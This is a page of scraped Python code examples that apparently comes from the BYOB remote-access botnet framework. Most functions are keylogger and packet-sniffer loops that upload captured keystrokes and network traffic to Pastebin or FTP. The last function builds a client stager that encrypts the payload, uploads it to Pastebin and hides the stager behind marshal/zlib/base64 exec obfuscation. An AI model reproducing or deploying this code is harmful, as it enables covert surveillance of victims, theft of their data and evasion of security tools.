Exemplo n.º 1
0
def logger(mode='ftp'):
    """ 
    Upload the log to Pastebin or FTP server at a regular interval

    `Optional`
    :param str mode:    ftp, pastebin

    """
    try:
        while True:
            if globals()['_buffer'].tell() > max_bytes:
                global _buffer
                try:
                    result = util.pastebin(
                        _buffer) if 'ftp' not in mode else util.ftp(_buffer)
                    results.append(result)
                    _buffer.reset()
                except Exception as e:
                    util.log("{} error: {}".format(logger.func_name, str(e)))
            elif globals()['_abort']:
                break
            else:
                time.sleep(5)
    except Exception as e:
        util.log("{} error: {}".format(logger.func_name, str(e)))
Exemplo n.º 2
0
def run(mode, seconds=30):
    try:
        if mode not in ('pastebin', 'ftp'):
            return "Error: invalid upload mode '%s'" % str(mode)
        limit = time.time() + seconds
        sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW,
                                       socket.htons(0x0003))
        while time.time() < limit:
            try:
                recv_data = sniffer_socket.recv(2048)
                recv_data, ip_bool = packetsniffer_eth_header(recv_data)
                if ip_bool:
                    recv_data, ip_proto = packetsniffer_ip_header(recv_data)
                    if ip_proto == 6:
                        recv_data = packetsniffer_tcp_header(recv_data)
                    elif ip_proto == 17:
                        recv_data = packetsniffer_udp_header(recv_data)
            except:
                break
        try:
            sniffer_socket.close()
        except:
            pass
        output = cStringIO.StringIO('\n'.join(_buffer))
        results[time.ctime()] = util.pastebin(
            output) if 'ftp' not in mode else util.ftp(output,
                                                       filetype='.pcap')
    except Exception as e:
        util.debug("{} error: {}".format(packetsniffer.func_name, str(e)))
Exemplo n.º 3
0
def logger(*args, **kwargs):
    try:
        while True:
            if _buffer.tell() > max_bytes:
                try:
                    result = util.pastebin(
                        _buffer) if 'ftp' not in args else _Upload_ftp(_buffer)
                    results.append(result)
                    _buffer.reset()
                except Exception as e:
                    util.debug("{} error: {}".format(logger.func_name, str(e)))
            elif _abort:
                break
            else:
                time.sleep(5)
    except Exception as e:
        util.debug("{} error: {}".format(logger.func_name, str(e)))
Exemplo n.º 4
0
def auto(mode):
    """
    Auto-upload to Pastebin or FTP server
    """
    if mode not in ('ftp','pastebin'):
        return "Error: invalid mode '{}'".format(str(mode))
    while True:
        try:
            if _buffer.tell() > max_size:
                result  = util.pastebin(_buffer) if mode == 'pastebin' else _upload_ftp(_buffer, filetype='.txt')
                results.put(result)
                _buffer.reset()
            elif globals().get('_abort'):
                break
            else:
                time.sleep(5)
        except Exception as e:
            util.debug("{} error: {}".format(auto.func_name, str(e)))
            break
Exemplo n.º 5
0
def auto(mode):
    """ 
    Auto-upload to Pastebin or FTP server
    """
    while True:
        try:
            if globals()['logs'].tell() > globals()['max_size']:
                result = util.pastebin(
                    globals()['logs']) if mode == 'pastebin' else util.ftp(
                        globals()['logs'], filetype='.txt')
                results.put(result)
                globals()['logs'].reset()
            elif globals()['abort']:
                break
            else:
                time.sleep(1)
        except Exception as e:
            util.log("{} error: {}".format(auto.__name__, str(e)))
            break
Exemplo n.º 6
0
def auto():
    """ 
    Automatically log and upload keystrokes

    """
    while True:
        try:
            if globals()['logs'].tell() > globals()['max_size']:
                result = util.pastebin(
                    globals()['logs']) if mode == 'pastebin' else util.ftp(
                        globals()['logs'], filetype='.txt')
                results.put(result)
                globals()['logs'].reset()
            elif globals()['abort']:
                break
            else:
                time.sleep(1)
        except Exception as e:
            util.log("{} error: {}".format(auto.func_name, str(e)))
            break
Exemplo n.º 7
0
def run(mode, seconds=30):
    """ 
    Monitor the host network and capture packets

    `Optional`
    :param int seconds:    duration in seconds (default: 30)

    """
    try:
        if mode not in ('pastebin', 'ftp'):
            return "Error: invalid upload mode '%s'" % str(mode)
        if not isinstance(seconds, int):
            return "Error: keyword argument 'seconds' must be an integer"
        sniffer_socket = socket.socket(socket.PF_PACKET, socket.SOCK_RAW,
                                       socket.htons(0x0003))
        while time.clock() < seconds:
            try:
                recv_data = sniffer_socket.recv(2048)
                recv_data, ip_bool = packetsniffer_eth_header(recv_data)
                if ip_bool:
                    recv_data, ip_proto = packetsniffer_ip_header(recv_data)
                    if ip_proto == 6:
                        recv_data = packetsniffer_tcp_header(recv_data)
                    elif ip_proto == 17:
                        recv_data = packetsniffer_udp_header(recv_data)
            except Exception as e:
                util.log(str(e))
                break
        try:
            sniffer_socket.close()
        except:
            pass
        results[time.ctime()] = util.pastebin(
            globals()['log']) if 'ftp' not in mode else util.ftp(
                globals()['log'], filetype='.pcap')
    except Exception as e:
        util.log("{} error: {}".format(packetsniffer.func_name, str(e)))
Exemplo n.º 8
0
def py(options, payload='payload.py', stager='stager.py'):
    try:
        with open(payload, 'r') as fp:
            payload = fp.read()
        with open(stager, 'r') as fp:
            stager = fp.read()
        stager = '\n'.join([
            '#!/usr/bin/python', "from __future__ import print_function",
            stager, "if __name__=='__main__':", "\t{}=main(config={})".format(
                util.variable(1), json.dumps(dict(options._get_kwargs())))
        ])
        color = colorama.Fore.RESET
        name = 'byob_%s.py' % util.variable(3)
        path = os.path.join(
            os.path.expandvars('%TEMP%') if os.name is 'nt' else '/tmp', name)
        if options.name:
            name = options.name
            path = os.path.join(
                os.path.expandvars('%TEMP%') if os.name is 'nt' else '/tmp',
                name)
        if options.encrypt:
            key = os.urandom(16)
            print(colorama.Fore.RESET + colorama.Style.BRIGHT +
                  "Encrypting payload ({:,} bytes)...\n".format(len(payload)))
            code = crypto.encrypt_xor(payload,
                                      key,
                                      block_size=8,
                                      key_size=16,
                                      num_rounds=32,
                                      padding='\x00')
            diff = round(
                float(100.0 *
                      float(1.0 - float(len(code)) / float(len(payload)))))
            print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " +
                  colorama.Fore.RESET + "Payload encryption complete")
            print(
                color + colorama.Style.DIM +
                "    (Plaintext {:,} bytes {} to ciphertext {:,} bytes ({}% {})"
                .format(len(stager), 'increased' if diff else 'reduced',
                        len(code), diff, 4),
                'larger' if diff else 'smaller').ljust(80 - len("[+] "))
            payload = code
            url = util.pastebin(payload)
            print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " +
                  colorama.Fore.RESET + "Upload to Pastebin complete")
            print(color + colorama.Style.DIM +
                  "    ({:,} bytes uploaded to: {}".format(len(
                      payload), url).ljust(80 - len("[+] ")))
        if options.obfuscate:
            code = "import zlib,base64,marshal;exec(marshal.loads(zlib.decompress(base64.b64decode({}))))".format(
                repr(
                    base64.b64encode(
                        zlib.compress(
                            marshal.dumps(compile(stager, '', 'exec')), 9))))
            diff = round(
                float(100.0 *
                      float(1.0 - float(len(code)) / float(len(stager)))))
            print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " +
                  colorama.Fore.RESET +
                  "Stager obfuscation and minification complete")
            print(color + colorama.Style.DIM +
                  "    ({:,} bytes {} to {:,} bytes  ({}% {})".format(
                      len(stager), 'increased' if diff else 'reduced', len(
                          code), diff, 'larger' if diff else 'smaller').ljust(
                              80 - len("[+] ")))
            stager = code
        with file(path, 'w') as fp:
            fp.write(stager)
        print(colorama.Fore.GREEN + colorama.Style.BRIGHT + "[+] " +
              colorama.Fore.RESET + "Client stager generation complete")
        print(color + colorama.Style.DIM +
              "    ({:,} bytes written to file: {})".format(len(
                  stager), path).ljust(80 - len("[+] ")))
        if options.type == 'exe':
            path = exe(options)
        return path
    except Exception as e:
        raise ClientError(str(e))